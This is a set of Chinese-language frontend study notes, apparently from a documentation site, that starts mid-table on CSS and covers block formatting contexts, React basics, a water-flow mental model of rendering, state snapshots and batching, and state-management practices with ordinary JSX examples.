| only    | 肯定 (用于IE) |

### 常用阈值

![](https://s21.ax1x.com/2025/04/06/pEcGpGV.png)

```html
```

### BFC

##### **MDN对BFC的描述**：

块格式化上下文 是**Web**页面的可视**CSS**渲染的一部分，是块盒子的布局过程发生的区域，也是浮动元素与其他元素交互的区域

##### **通俗易懂版**：

1. BFC是**Block Formatting Context**（**块级格式上下文**），可以理解为元素的一个‘特异功能’
2. 该特异功能，在默认的情况下处于关闭状态，当元素满足了某些条件后，该特异功能被激活
3. 所谓激活特异功能，专业点说就是：该元素创建了BFC（又称开启了BFC）

##### 开启了BFC能解决什么问题

1. 其子元素不会再产生**margin塌陷问题**
2. 自己不会被其他浮动元素所覆盖
3. 就算其子元素浮动，元素自身高度也不会塌陷

##### 如何开启BFC

* 跟元素
* 浮动元素
* 绝对定位，固定定位的元素
* 行内块元素
* 表格单元格：table,thead,tbody,tfood,th,td,tr,caption（display:table）
* overflow的值不为visible的块级元素
* 伸缩项目
* 多列容器
* column-span为all的元素（即 使该元素没有包裹在多列容器中）
* display:的值，设置为flow-root      （最优选择(IE不支持)）

---

---
url: /react/index.md
---
# README
## 介绍

**React** 是由 **Facebook（Meta）** 开发的 **前端 UI 库**，用于构建用户界面，尤其是 **单页应用（SPA）**。

核心特点：

* **声明式（Declarative）**：只需描述界面应该是什么样的，React 会自动更新 UI。
* **组件化（Component-based）**：把界面拆分成独立、可复用的组件。
* **虚拟 DOM（Virtual DOM）**：高效更新页面，减少真实 DOM 操作，提高性能。

React 不是完整的框架（不像 Angular、Vue），更像 **构建 UI 的工具库**。

## 核心概念

### 组件（Component）

React 的核心构建单元。

分为：

* **函数组件（Function Component）**
  简单、现代，支持 Hooks。
* **类组件（Class Component）**
  传统写法，有生命周期函数。

### JSX

* JavaScript XML，一种在 JS 中写 HTML 的语法糖。
* JSX 会被 Babel 编译成 `React.createElement()` 调用。

### 虚拟 DOM（Virtual DOM）

* React 会维护一个内存中的 DOM 树（虚拟 DOM）。
* 当状态改变时，React 先更新虚拟 DOM，再与真实 DOM 做 **差异对比（Diff）**，只更新需要变化的部分，提高性能。

### 状态（State）和属性（Props）

* **Props（属性）**：组件外部传入的数据，只读。
* **State（状态）**：组件内部管理的数据，可随用户交互变化。

```jsx
function Counter() {
  const [count, setCount] = React.useState(0);

  return (
    <div>
      <p>{count}</p>
      <button onClick={() => setCount(count + 1)}>加一</button>
    </div>
  );
}
```

### 生命周期（Lifecycle）

* **类组件**有生命周期函数：`componentDidMount`、`componentDidUpdate`、`componentWillUnmount`。
* **函数组件**通过 **Hooks**（如 `useEffect`）实现类似生命周期逻辑。

```jsx
useEffect(() => {
  console.log("组件挂载或更新");
  return () => console.log("组件卸载");
}, []);
```

### Hooks

* React 16.8 引入，允许函数组件使用状态和生命周期逻辑。
* 常用 Hooks：
  * `useState`：状态管理
  * `useEffect`：副作用处理（生命周期）
  * `useRef`：引用 DOM 或变量
  * `useMemo` / `useCallback`：性能优化

## 数据流

**单向数据流（One-way Data Flow）**：

* 父组件通过 props 传数据给子组件
* 子组件不能直接修改父组件的数据

便于追踪状态变化，减少副作用

## 生态

React 本身只是 UI 库，但生态非常丰富：

* **路由**：`react-router-dom`
* **状态管理**：
  * 本地状态：`useState`、`useReducer`
  * 全局状态：Redux、MobX、Recoil、Zustand
* **服务端渲染（SSR）**：Next.js
* **静态网站生成（SSG）**：Gatsby、Next.js
* **移动端**：React Native

## 优势

1. **组件化**：复用性高，维护方便
2. **高性能**：虚拟 DOM + diff 算法
3. **生态丰富**：路由、状态管理、SSR 等工具齐全
4. **社区活跃**：大量开源组件、教程和资源
5. **跨平台**：Web、移动端、桌面端都能使用

---

---
url: /react/0papdwz8/index.md
---
# React 心智模型
React 就是让数据像水一样，只往前流、只向下流，每一次渲染就是水从源头重新流一遍整个应用。

| 概念            | 在“水流模型”里是什么意思                                     |
| --------------- | ------------------------------------------------------------ |
| props           | 水从父组件流到子组件的唯一通道                               |
| state           | 水流到某个位置时突然挖的小水潭（局部蓄水），下次水流再来的时候会先把这个水潭里装的是什么 |
| 组件重新渲染    | 水从最顶层又重新开始流一遍（ReactDOM.createRoot → App → …）  |
| 自定义 Hook     | 水流到一个位置时，突然拐进一条事先挖好的支流管道（useXxx 函数），走完再流回来继续主干道 |
| setState        | 把某个水潭里的水换掉 → 触发下一轮从头开始的“新水流”          |
| useEffect       | 水流经过某个位置时，偷偷记下来：“上次我流过这里的时候你让我干了啥，下次再流到这里我再干一遍” |
| Context         | 在高处挖了一条跨山的大渠，水不用一级一级往下倒，直接从大渠里接 |
| Redux / Zustand | 在山顶建了一个大水库，全应用任何地方都可以直接接水库的水管   |

比如

```jsx
useChatRoom({ serverUrl, roomId });	
```

脑子里应该瞬间闪过的画面就是：

“这一刻，水流到了 ChatRoom 组件这里，我把当前这股水里含着的 serverUrl 和 roomId 两个水滴，直接灌进了 useChatRoom 这条支流管道里，让它带着最新鲜的水继续往下游跑。”

单向、不可逆、每次都重新从头流一遍、所有地方拿到的都是当前这一轮的水，这就是 React 最纯粹、最暴力、最优雅的哲学。

一旦把这个画面刻在脑子里，所有规则就都变成自然而然的事了：

* 为什么不能直接改 props？ → 水不能往回流
* 为什么每次渲染 Hook 都是最新值？ → 新一轮的水刚从上游来，当然最新
* 为什么不要在渲染期间改 state？ → 你在水流的过程中往上游扔石头，水会乱套
* 为什么 useEffect 要写依赖数组？ → 告诉 React“我只关心这几个水滴变没变”

---

---
url: /react/1xqj1ybr/index.md
---
# React 中的 State 执行机制与渲染过程
## 状态更新不是修改，而是“重新指向”

首先必须理解一个核心点：**React 的 state 是不可变的**。

当你调用：

```jsx
const [count, setCount] = useState(0);
setCount(count + 1);
```

React 并不会去修改原来的 `count` 值，而是**创建一个新的状态值（比如 1）**，并将内部“状态指针”指向这个新值。这就像这样：

```jsx
[0] → [1] → [2] → ...
        ↑
当前状态指针指向的值
```

如果旧值没有被手动保留，JavaScript 引擎的 GC（垃圾回收）机制就会在适当时机将其回收。

## 状态变更触发渲染，生成新的“UI 快照”

当 `setState` 被调用后，React 并不会立刻重新渲染组件，而是：

1. **标记该组件为“需要更新”**
2. 将新的状态值排入更新队列（这是批处理的基础）
3. 等待 React 调度新的渲染任务（在浏览器空闲时或下一轮事件循环）

然后 React 会重新执行这个函数组件 —— 也就是执行一次“渲染函数”：

```jsx
function Counter() {
  const [count, setCount] = useState(1);
  return <div>{count}</div>;
}
```

此时 React 会根据 **最新的 state + props** 生成新的虚拟 DOM，也就是所谓的“**UI 快照**”。

它会与旧的虚拟 DOM 进行 diff，然后将差异通过 **Fiber 树的提交阶段** 应用到真实 DOM，完成页面更新。

## 渲染过程中的 state 是“快照式”固定的

这是 React 函数组件中一个极其重要的原则：

**在一次渲染（即一次函数执行）中，state 是“固定”的，不会因为后续的 `setState` 而变化**。

即使你在一次函数中多次调用：

```jsx
setCount(count + 1);
setCount(count + 1);
```

由于 `count` 是这次渲染中的旧值，两次 `setCount(count + 1)` 都是以同一个旧值为基础的，因此你不会得到递增两次的结果。

```jsx
const [count, setCount] = useState(0);

function handleClick() {
  setCount(count + 1); // count 是 0
  setCount(count + 1); // count 还是 0
}
```

最终只会更新为 `1` 而不是 `2`。这就是因为在当前渲染周期中，**count 是不可变的状态快照**。

正确写法应该是基于上一个状态：

```jsx
setCount(prev => prev + 1);
setCount(prev => prev + 1); // 最终会加到 2
```

**这也是为什么 React 提供了 更新函数版本（即传入函数）的 setState**。

## 为什么 state 不变才能保证一致性？

你可以把 `useState` 理解成 React 内部维护的一份“状态仓库”。当组件被 React **调用执行渲染函数**时，React 会：

* 使用 Fiber 节点中的“当前状态快照”
* 每次执行 `useState` 时，从这份快照中“顺序读取”当前值
* 生成虚拟 DOM 并提交更新

如果在渲染过程中状态值是动态变化的，那么组件就无法保证“同一份状态值生成同一份 UI”，这会导致极其复杂且难以预测的副作用。

因此，React 的设计原则之一是：

“**状态只在下一次渲染时生效，且当前渲染期间不可变**”。

## 从状态变更到 UI 更新的流程

```jsx
用户调用 setState()
   ↓
React 将新状态排入更新队列
   ↓
调度器安排一次新的渲染
   ↓
函数组件被重新执行（渲染函数）
   ↓
useState 读取的是当前最新值（状态快照）
   ↓
React 根据 state + props 生成新的虚拟 DOM
   ↓
与旧虚拟 DOM 进行 diff
   ↓
生成最小的变更操作并提交到真实 DOM
   ↓
完成 UI 更新
```

## setState的异步调度和批处理

当你调用：

```jsx
setCount(count + 1);
```

React 并不是立刻去修改 `count`，也不会立刻重新渲染组件，而是把这个“更新请求”**加入内部的更新队列中**，等到当前事件处理完毕后，再批量调度一次渲染。

```jsx
const [count, setCount] = useState(0);

function handleClick() {
  setCount(count + 1);
  setCount(count + 1);
}
```

假设当前 `count` 是 0，调用这两个 setCount，其实你提交了两个值都是 `1`，React 最终只会把最后一个 `1` 用来渲染：

这就是因为：

在一次同步执行（比如点击事件）的过程中，`count` 是当前渲染的快照值，不会随着 `setCount` 立即更新，所以你连续两次 `setCount(count + 1)` 实际上传入的参数是一样的。

你需要使用更新函数版本的 `setCount` 才能实现真正的“加两次”：

```jsx
setCount(prev => prev + 1);
setCount(prev => prev + 1);
```

```txt
setCount(prev => prev + 1) → prev = 0 → new = 1
setCount(prev => prev + 1) → prev = 1 → new = 2
```

最终 `count` 就是 2。

1. **State 是不可变快照**
2. **setState 是异步批量更新**
3. **事件处理期间不会触发同步渲染**
4. **更新函数（functional update）可避免闭包陷阱**

调用 `setCount` 不会立即更新 `count`，而是将更新请求加入队列。直到下一次渲染开始时，React 才会处理这些更新，并使用新值重新渲染组件。连续多次调用时，如不使用函数式更新，会因为闭包快照导致值重复。

## 同一次渲染中多次调用setXXX

React 的内部在调用 `setState` 时，判断了你传入的是函数还是值，并分别走了两套逻辑，这正是 **“函数式更新（functional update）”** 的本质。

```jsx
setCount(prev => prev + 1); // 传入的是“函数”
```

React 内部会记录这个“**更新函数**”，在稍后的更新队列处理阶段，它会把当前的最新 state 作为 `prev` 传给这个函数，然后计算出新的值。

```jsx
// 假设当前 state 是 0
setCount(prev => prev + 1); // 计算结果是 1
setCount(prev => prev + 1); // 再用上一次结果 1，计算出 2
```

React 的 `setState` 支持两种更新方式：传入值（直接更新）和传入函数（基于上一次状态更新）。React 内部会判断参数类型，函数式更新允许你安全地进行多次累加、避免闭包陷阱，并确保每次都基于最新状态计算。

当你传入的是函数（即 `setState(prev => ...)`），React 会**延迟执行这些函数直到下一次渲染前**，并依次用上一次更新的结果作为下一次的 `prev`，最终得到最新状态值。这种机制让多次调用也能正确累加。

---

---
url: /react/3f6frv0y/index.md
---
# React 快速上手
## JSX{#jsx}

React 应用是由**组件**组成的，每个组件都拥有逻辑和视图。组件则是一个返回标签的函数。

把HTML写在JS中，这种写法叫做 JSX，它比HTML的语法更严格，比如必须闭合标签。

一个组件只能返回一个根元素，如果需要返回多个元素，可以将他们包裹在一个父元素中，比如`<div>`，或者使用空的标签`<>...</>`。

```js
function MyComponent() {
  return (
    <>
      <h1>Hello, World!</h1>
      <p>This is my first React component.</p>
    </>
  );
}
```

## 样式{#styles}

在 React 中，使用`className`来在元素中添加 CSS 类名，而不是使用 HTML 中的 `class` 属性，但它的作用是一样的。

标记完类名后，就可以在单独的 CSS 文件中定义样式，或者使用内联样式。

```jsx
function MyComponent() {
  return <div className="my-class">Hello, World!</div>;
}
// 等同于
// <div class="my-class">Hello, World!</div>;
```

## 显示数据{#display-data}

JSX 让 HTML 写在 JS 中，在 HTML 中再通过大括号又可以回到JS中，即可嵌入数据。

```jsx
return <h1>Hello, {user.name}!</h1>;
```

JSX 中的 HTML 属性也可以使用大括号来嵌入 JavaScript 表达式，其中可以写一些复杂的表达式，比如字符串拼接、函数调用等。

```jsx
return <img src={user.avatarUrl} alt={'The avatar of ' + user.name} />;
```

```jsx
style={{
    width: user.imageSize,
    height: user.imageSize
}}
```

上面的代码只是`style`的一个属性，该属性是一个对象，并非类似Vue的插值语法。

比如

```jsx
<h1 style={{ color: 'red', fontSize: '50px' }}>Hello World</h1>
```

将被渲染为：

```html
<h1 style="color: red; font-size: 50px;">Hello World</h1>
```

原生CSS的属性通常是连字符分隔的，比如`font-size`，而在JSX中则使用驼峰命名法，即`fontSize`，background-color 则是 backgroundColor。

## 条件渲染{#conditional-rendering}

React 中的条件渲染靠的是 JavaScript 的条件语句，比如 `if`、`else`、三元运算符等。

```jsx
let isShowing = true;
if(isShowing){
    content = <Login/>
}
else {
    content = <Logout/>
}
return <div>{content}</div>; 
```

或者使用三元运算符：

```jsx
return (
  <div>
    {isShowing ? <Login /> : <Logout />}
  </div>
);
```

使用短路运算符也可以实现条件渲染，但是需要注意的是，如果条件为 `false`，则不会渲染任何内容。

```jsx
return (
  <div>
    {isShowing && <Login />}
  </div>
);
```

## 渲染列表{#rendering-lists}

仍然依赖于JS的数组方法，比如 `map`。

```jsx
const items = [
    {
        id: 1,
        name: 'Item 1'
        },
        {
        id: 2,
        name: 'Item 2'
        },
        {
        id: 3,
        name: 'Item 3'
    }
];
return (
  <ul>
    {items.map((item) => (
      <li key={item.id}>{item.name}</li>
    ))}
  </ul>
);
```

或者：

```jsx
const result = items.map((item) => (
      <li key={item.id}>{item.name}</li>
    )
    );
return <ul>{result}</ul>;
```

**注意**：其中有一个`key`属性，它是 React 用来标识每个元素的唯一标识符，帮助 React 更高效地更新和渲染列表，兄弟元素之间的 `key` 必须唯一。

## 响应事件{#event-handling}

可以在组件中声明事件处理函数，并将其绑定到元素的事件上。

```jsx
function Component() {
    function handleClick() {
        console.log('Button clicked!');
    }
    return <button onClick={handleClick}>Click me</button>;
}
export default component;
```

**注意**：在JSX中，事件处理函数的的结尾没有加上括号，这并不是一个函数调用，而是一个函数引用，只需要将函数名传递给事件即可。

## 更新界面{#updating-ui}

如果要实现一个显示按钮的点击次数，需要定义组件的状态（变量），并在事件处理函数中更新状态。

通常使用`useState` Hook 来定义状态，而不原生JavaScript 中的变量。

```jsx
import { useState } from 'react';

function Counter() {
  const [count, setCount] = useState(0); // 定义状态变量 count 和更新函数 setCount

  function handleClick() {
    setCount(count + 1); // 更新状态
  }

  return (
    <div>
      <p>You clicked {count} times</p>
      <button onClick={handleClick}>Click me</button>
    </div>
  );
}
export default Counter;
```

`useState` 函数返回一个数组，第一个值是状态变量，第二个值是更新状态的函数，你可以自定义变量名，但通常推荐使用 `??` 来表示状态变量，`set??` 来表示更新函数。

状态的变量的初始值就是`useState` 函数的参数。

你可以复用组件，每次点击按钮都会更新状态，React 会重新渲染组件，并且每个组件实例都有自己的状态。

这也是为什么状态不使用原生 JS 的原因之一，因为原生 JS 的变量是全局的，无法区分不同组件的状态，容易造成变量冲突。

使用`useState` 的原因：

* **每个组件实例有自己独立的状态**，避免复用时数据混乱
* **状态变化会触发组件自动更新**，保持 UI 与数据一致
* **React 内部管理状态生命周期**，React 会根据组件的生命周期自动创建和销毁 `useState` 状态，避免内存泄漏或旧状态残留

## 使用 Hook{#use-hooks}

在 React 中，以 `use` 开头的函数被称为 **Hook（钩子）**。`useState` 是 React 提供的一个最常用的内置 Hook，它用于在函数组件中添加本地状态。

除了 `useState`，React 还提供了许多其他内置 Hook，例如：

* `useEffect`：处理副作用（如数据获取、订阅等）
* `useContext`：访问 React 上下文
* `useReducer`：用于更复杂的状态逻辑
* `useRef`：获取 DOM 引用或保存可变数据
* `useMemo`、`useCallback`：优化性能

你可以在 [React 官方文档的 API 参考](https://zh-hans.react.dev/reference/react) 中查看完整的 Hook 列表和用法。

除了使用内置 Hook，你还可以通过组合多个 现有Hook 编写 **自定义 Hook**，以提取逻辑、实现复用。例如：

```jsx
function useWindowWidth() {
  const [width, setWidth] = useState(window.innerWidth);
  useEffect(() => {
    const onResize = () => setWidth(window.innerWidth);
    window.addEventListener('resize', onResize);
    return () => window.removeEventListener('resize', onResize);
  }, []);
  return width;
}
```

上述例子的 `useWindowWidth` Hook 可以在任何组件中使用，获取当前窗口宽度并自动更新。

Hook 的使用有一些特别的规则，比普通函数更严格，目的是让 React 能可靠地追踪 Hook 的调用顺序和状态：

**只能在函数组件或自定义 Hook 的顶层调用，不能在 if、for、函数嵌套中调用 Hook**。

```jsx
// 正确
function MyComponent() {
  const [count, setCount] = useState(0); // ✅ 顶层调用
}
// 错误
if (someCondition) {
  const [count, setCount] = useState(0); // ❌ 不允许
}
```

**不能在普通的 JavaScript 函数中调用，Hook 只能在函数组件或自定义 Hook 中使用，不能在普通工具函数中调用**。

**Hook 名必须以 `use` 开头，这是一个约定，也帮助 React 检测 Hook 的使用是否合规**。

如果你需要在条件或循环中使用 Hook，比如你想在某些条件下使用某个状态 Hook，应该将这部分逻辑**提取为一个新的组件或自定义 Hook**。

## 组件间共享数据{#sharing-data-between-components}

为了在组件间共享数据，可以将状态和方法提升到它们的共同父组件中，然后通过 props 传递给子组件。

```jsx
export default function MyApp() {
  const [count, setCount] = useState(0);

  function handleClick() {
    setCount(count + 1);
  }

  return (
    <div>
      <h1>共同更新的计数器</h1>
      <MyButton count={count} onClick={handleClick} />
      <MyButton count={count} onClick={handleClick} />
    </div>
  );
}
```

```jsx
function MyButton({ count, onClick }) {
  return (
    <button onClick={onClick}>
      点了 {count} 次
    </button>
  );
}
```

`onClick` 实际是 `MyApp` 组件中的 `handleClick` 函数，它会更新 `count` 状态，再将新的 `count` 值传递给子组件 `MyButton`。这样，两个按钮就可以共享同一个计数器状态。

通过上移状态到共同组件实现的组件数据共享叫做 **状态提升**。

## 数据模型{#practice}

在React中，构建用户界面的核心是管理数据。为了实现这一点，React提供了两种基本的数据模型：**props** 和 **state**。

### props

**props** (properties的缩写) 是从父组件传递给子组件的数据。它们可以被看作是组件的配置项或参数，用于定制组件的外观和行为。**props是只读的**，这意味着一个组件接收到props后，不应该也无法直接修改它。这种不可变性是React单向数据流原则的体现，确保数据从父组件流向子组件，使得数据管理和组件行为更易于预测和调试。它们的主要作用是实现组件的复用性，允许同一个组件在不同的上下文中被渲染，同时展示不同的数据或样式。**props** 使得组件像函数一样，给定相同的输入（props），总是产生相同的输出（渲染结果）。

### state

**state** 则是一个组件内部私有的数据集合，它代表了组件在某个特定时间点的状态。与props不同，**state是可变的**，但其变化必须通过特定的React API（在类组件中是`this.setState()`，在函数组件中是`useState` Hook）来管理和更新。**state** 主要用于处理那些随时间或用户交互而变化的数据。例如，一个计数器的当前值、一个输入框的当前文本、或一个开关组件的开启/关闭状态，这些都适合存储在组件的state中。当组件的state发生变化时，React会自动重新渲染该组件及其子组件，以反映最新的状态。这使得React能够高效地响应用户操作和数据更新，构建出动态和交互式的用户界面。

简而言之，**props** 用于组件之间的数据传递和配置，是外部赋予的、不可变的；而 **state** 则用于组件内部管理自身随时间变化的数据，是组件内部私有的、可变的。它们共同构成了React组件灵活且强大的数据管理机制。

---

---
url: /react/8e98g29i/index.md
---
# React 状态管理
## 声明式与命令式 UI {#ui}

**用 State 响应输入：声明式 UI 与命令式 UI**

* **声明式 UI**（React 采用的方式）
  * 只需声明组件可能的 **状态** 以及不同状态下的 UI 表现。
  * 根据用户输入切换状态，UI 会自动与状态保持同步。
  * 类似设计师的思路——先想“UI 有哪些状态”，再决定“状态之间如何切换”。
* **命令式 UI**
  * 需要一步步 **直接指挥** UI 元素的变化，例如“显示加载动画 → 禁用按钮 → …”。
  * 程序员必须写出明确的操作步骤（命令），告诉计算机 **怎么做**。
  * 像给司机实时下达导航指令，如果指令错了，结果也会错。

**核心区别**：

* **声明式**：描述“UI 在某个状态下应该长什么样”，**重点是结果**。
* **命令式**：描述“为了达到某个状态，需要执行哪些步骤”，**重点是过程**。

## 声明式 UI{#react-ui}

**为什么 React 选择声明式 UI**

* **命令式 UI 的问题**
  * 在简单、独立的系统中，命令式控制 UI 还算可行。
  * 但在复杂系统中，每次新增 UI 元素或交互，都要 **仔细检查和修改现有代码**，避免忘记更新相关元素（显示、隐藏、启用、禁用等），否则容易引入 bug。
  * 管理难度会 **随复杂度呈指数级上升**。
* **React 的解决思路**
  * 你 **不直接操作 UI**，而是声明“我想看到的内容”。
  * React 会 **自动计算并更新** UI，确保界面和状态保持一致。
  * 类比：你告诉出租车司机目的地（目标 UI），而不是亲自指挥每一个转弯（具体 DOM 操作）。

**核心优势**：降低复杂 UI 的维护成本，减少出错几率，让开发者专注于 **描述结果** 而非 **编写过程**。

## 声明式 UI 的核心{#core-of-declarative-ui}

1. **事先定义好所有可能的 UI 状态**
   * 每种状态对应的 UI 都用代码（组件渲染逻辑）写出来。
   * 例如：`loading` 状态显示加载动画，`success` 状态显示成功提示，`error` 状态显示错误信息。
2. **运行时只负责切换状态**
   * 当条件变化（用户输入、网络响应等），只需更新 state 为对应状态值。
   * React 会自动渲染出匹配这个状态的 UI，而不是你去手动 show/hide、enable/disable 每个元素。

**简单例子**：

```jsx
function App() {
  const [status, setStatus] = useState("idle"); // idle | loading | success | error

  return (
    <div>
      {status === "idle" && <button onClick={() => setStatus("loading")}>提交</button>}
      {status === "loading" && <p>加载中...</p>}
      {status === "success" && <p>提交成功！</p>}
      {status === "error" && <p>提交失败，请重试。</p>}
    </div>
  );
}
```

所有状态的 UI 都写在 JSX 里，切换 UI 只需 `setStatus(...)`，React 会自动帮你把界面更新到对应状态。

**声明式 UI** = “写好所有状态 → 切状态就行”，而不是“遇到事件后去一一修改 DOM”。

## 声明式 UI 的自动计算机制{#declarative-ui-compute}

* 当你切换状态时，React 会 **重新渲染组件的虚拟 DOM**，然后通过 **diff 算法**（比较新旧虚拟 DOM）找出真正需要改的地方。
* 它不会像命令式那样，可能一不小心就多次重复修改同一个 DOM 属性，也不会去动那些 **没变的部分**。
* 结果就是：
  1. **减少不必要的 DOM 操作**（性能更好）
  2. **保证 UI 和状态的一致性**（不容易出现忘记改 UI 的 bug）

**总结**

* 性能优化只是副作用之一，**声明式的主要目的** 还是：
  1. 降低复杂度（你只写状态和 UI 对应关系）
  2. 提高可维护性（不用记住每个状态变化要动哪些 UI 元素）
* 性能优化是通过 **虚拟 DOM diff** 或 **编译优化** 自动实现的，不需要你手动管理。

声明式 UI 在状态切换时，会自动计算 UI 的差异，只更新必要的部分，从而减少多余的 DOM 操作，并确保界面和状态保持一致。

## 构建 state 的最佳实践{#best-practice}

1. **合并关联的 state**
   * 如果你有多个总是一起变化的变量，比如 `firstName` 和 `lastName`，就合成一个 `user` 对象会更方便管理。
   * 这样可以减少更新时的同步负担。
2. **避免互相矛盾的 state**
   * 比如 `isEmpty` 和 `items.length` 同时存在，如果 `isEmpty` 是 `true`，`items.length` 却是 `3`，这就冲突了。
   * 更好的做法是直接通过 `items.length` 推导 `isEmpty`。
3. **避免冗余的 state**
   * 如果能算出来，就不要单独存。
   * 例如购物车的 `totalPrice` 可以用 `items.reduce()` 计算，不需要单独存一个 `totalPrice`。
4. **避免重复的 state**
   * 同一份数据不要在多个地方保存，否则可能会出现“一个改了另一个忘记改”的情况。
   * Vue、React 都是用 props 或全局 store 来解决数据共享，而不是在多个组件各存一份。
5. **避免深度嵌套的 state**
   * 嵌套太深更新很麻烦，比如 `docs.user.info.address.city`。
   * 扁平化存储会更方便，类似 Redux 推荐的结构。

**核心目标** 就是：
让 state 结构足够简单，不容易出错，并且在更新时尽量少影响无关部分，这样渲染性能和可维护性都会好很多。

相关例子：

```jsx
const [x, setX] = useState(0);
const [y, setY] = useState(0);
            ↓
const [position, setPosition] = useState({ x: 0, y: 0 });
```

## 不要在 state 中镜像 props{#no-state-mirroring-props}

一个常见的冗余写法是：

```js
function Message({ messageColor }) {
  const [color, setColor] = useState(messageColor);
}
```

这样做的问题是：`color` 只会在第一次渲染时初始化为 `messageColor` 的值。
如果父组件之后将 `messageColor` 从 `'blue'` 改成 `'red'`，`color` 并不会自动更新，导致 UI 和 props 脱节。

**正确做法**：直接使用 props，而不是复制到 state。

```js
function Message({ messageColor }) {
  const color = messageColor; // 可重命名，但保持直接引用
}
```

这样，`color` 始终与父组件传入的 `messageColor` 保持同步。

**例外情况**
只有当你 **明确不希望** 跟随 props 更新时，才将它复制到 state，并用 `initial` 或 `default` 前缀命名：

```js
function Message({ initialColor }) {
  const [color, setColor] = useState(initialColor); // 后续更新将被忽略
}
```

## 唯一数据源原则 {#ssot}

在 React 中，每个状态应有且仅有一个 **唯一的数据源**（Single Source of Truth）。

* 不同状态分布在不同层级的组件中，活跃在它们需要的地方。
* 状态应保存在最合适的组件中，通过 **提升状态** 或 **向下传递** 来共享，而不是在多个组件中复制。
* 确定状态的“活跃位置”是优化组件结构和数据流的重要步骤。

## React 组件 State 保留规则{#state-retention-rules}

React 中组件的 **state 与其在渲染树中的位置绑定**，而不是与组件本身绑定。即使两个组件使用相同的 JSX 标签（如 `<Counter />`），只要它们出现在渲染树的不同位置，就会拥有完全独立的状态。

* **状态保留**：React 在重渲染时会根据组件在 UI 树中的位置决定是否保留状态。位置相同且类型相同，状态会被保留。
* **状态重置**：如果组件位置变化、类型变化，或你显式指定（如使用不同 `key`），React 会重置该组件的状态。
* **状态独立性**：并排渲染的多个相同组件，状态互不影响。
* **开发意义**：可以通过控制组件位置、类型和 `key` 来决定状态的保留与重置，从而精确控制 UI 行为。

***

1. **相同位置 + 相同组件 → 保留 state**
   * 当一个组件在 UI 树中的位置和类型保持不变，React 会保留它的 state。
2. **组件被移除 → state 销毁**
   * 组件一旦从渲染树中移除，其 state 会被完全丢弃。
   * 重新渲染时，该组件会重新初始化 state。
3. **相同位置 + 不同组件 → state 销毁**
   * 如果在相同位置渲染了不同的组件类型，React 会认为它是全新的组件，并丢掉原组件的 state。
4. **验证示例**
   * 计数器组件（Counter）在被“隐藏”后再次显示，计数值会重置为 0。
   * 原因：React 在隐藏时卸载了组件，state 被销毁。

**只要一个组件还被渲染在 UI 树的相同位置，React 就会保留它的 state。** 如果它被移除，或者一个不同的组件被渲染在相同的位置，那么 React 就会丢掉它的 state。

***

React 中 **相同位置 + 相同组件** 的 State 保留机制

**核心原则**

**React 只关心渲染树的位置和组件类型**，不关心 JSX 中的具体写法。

如果在 **相同位置** 渲染了 **相同类型** 的组件，React 会保留其 state。

如果组件被替换成不同类型，或者完全移除，则其 state 会被销毁并重新初始化。

**示例一：同位置同组件 → state 保留**

```jsx
import { useState } from 'react';

export default function App() {
  const [isFancy, setIsFancy] = useState(false);

  return (
    <div>
      {/* isFancy 变化时，位置和组件类型不变 */}
      <Counter isFancy={isFancy} />
      <label>
        <input
          type="checkbox"
          checked={isFancy}
          onChange={e => setIsFancy(e.target.checked)}
        />
        使用好看的样式
      </label>
    </div>
  );
}

function Counter({ isFancy }) {
  const [score, setScore] = useState(0);

  return (
    <div className={`counter ${isFancy ? 'fancy' : ''}`}>
      <h1>{score}</h1>
      <button onClick={() => setScore(score + 1)}>加一</button>
    </div>
  );
}
```

切换 `isFancy` 样式时，**计数不会重置**，因为 `<Counter />` 在树中的位置和类型没变。

**示例二：条件渲染但位置相同 → state 依然保留（常见误区）**

```jsx
import { useState } from 'react';

export default function App() {
  const [isFancy, setIsFancy] = useState(false);

  if (isFancy) {
    return (
      <div>
        <Counter isFancy={true} />
        <Checkbox isFancy={isFancy} setIsFancy={setIsFancy} />
      </div>
    );
  }

  return (
    <div>
      <Counter isFancy={false} />
      <Checkbox isFancy={isFancy} setIsFancy={setIsFancy} />
    </div>
  );
}

function Counter({ isFancy }) {
  const [score, setScore] = useState(0);

  return (
    <div className={`counter ${isFancy ? 'fancy' : ''}`}>
      <h1>{score}</h1>
      <button onClick={() => setScore(score + 1)}>加一</button>
    </div>
  );
}

function Checkbox({ isFancy, setIsFancy }) {
  return (
    <label>
      <input
        type="checkbox"
        checked={isFancy}
        onChange={e => setIsFancy(e.target.checked)}
      />
      使用好看的样式
    </label>
  );
}
```

虽然看起来是两段 `if/else` 分支返回了 **两个不同的 `<Counter />` 标签**，
但 React 在比对渲染树时发现：两次渲染中 `<Counter />` 都是根 `<div>` 的第一个子组件 → **位置相同**，因此 state 不会重置。

**记忆要点**

* **匹配规则**：相同的 *位置路径* + 相同的 *组件类型* → state 保留
  例如 `"根组件 → 第一个子组件 → 第一个子组件"`（从 App（根）走到它的第一个子组件，再进入那个子组件的第一个子组件。）
* **条件渲染不会影响位置匹配**，React 只看最终渲染树的位置，不看你 JSX 的写法。
* **更换组件类型** 或 **移除组件** → state 丢失并重新初始化。

## 组件类型{#component-type}

这里的 **组件类型** 指的就是 React 中的 *函数组件*（Function Component）或 *类组件*（Class Component）。

更具体地说，React 会根据 **组件类型 + 在父组件 JSX 树中的位置** 来决定是否复用 state：

* **类型相同**：同一个位置上渲染的组件是同一个函数组件或同一个类组件，React 会保留它的 state。
* **类型不同**：即使位置相同，但组件类型换了（比如原来是 `<Counter />`，后来换成 `<AnotherCounter />`），React 也会认为这是一个全新的组件，销毁旧的 state 并初始化新的 state。

换句话说，React 用 `(组件类型, 树中位置)` 这个组合来标识一个组件实例的“身份”。

## 元素包裹{#element-wrap}

**当你在相同位置渲染不同的组件时，该组件的整个子树都会被重置**

```jsx
{isFancy ? (
    <div>
        <Counter isFancy={true} /> 
    </div>
) : (
    <section>
        <Counter isFancy={false} />
    </section>
)}
```

## 组件定义位置的注意事项{#component-definitions-caveat}

* **问题现象**：如果在一个组件函数内部定义另一个组件（如在 `MyComponent` 内部定义 `MyTextField`），则每次外部组件重新渲染时，内部组件都会被视为“新组件”，其 state 会被重置。
* **原因**：React 的组件匹配规则依赖于 **位置路径** + **组件类型**。当组件函数在渲染过程中被重新创建时，类型引用发生变化，React 认为这是一个不同的组件，从而丢弃旧的 state。
* **影响**：
  1. **状态丢失**：输入框、选中状态等 UI 状态会在父组件更新时被清空。
  2. **性能问题**：重复创建组件定义会造成额外的内存与计算开销。
* **最佳实践**：
  * 永远在 **组件文件的最顶层** 定义组件，而不是在函数组件内部定义。
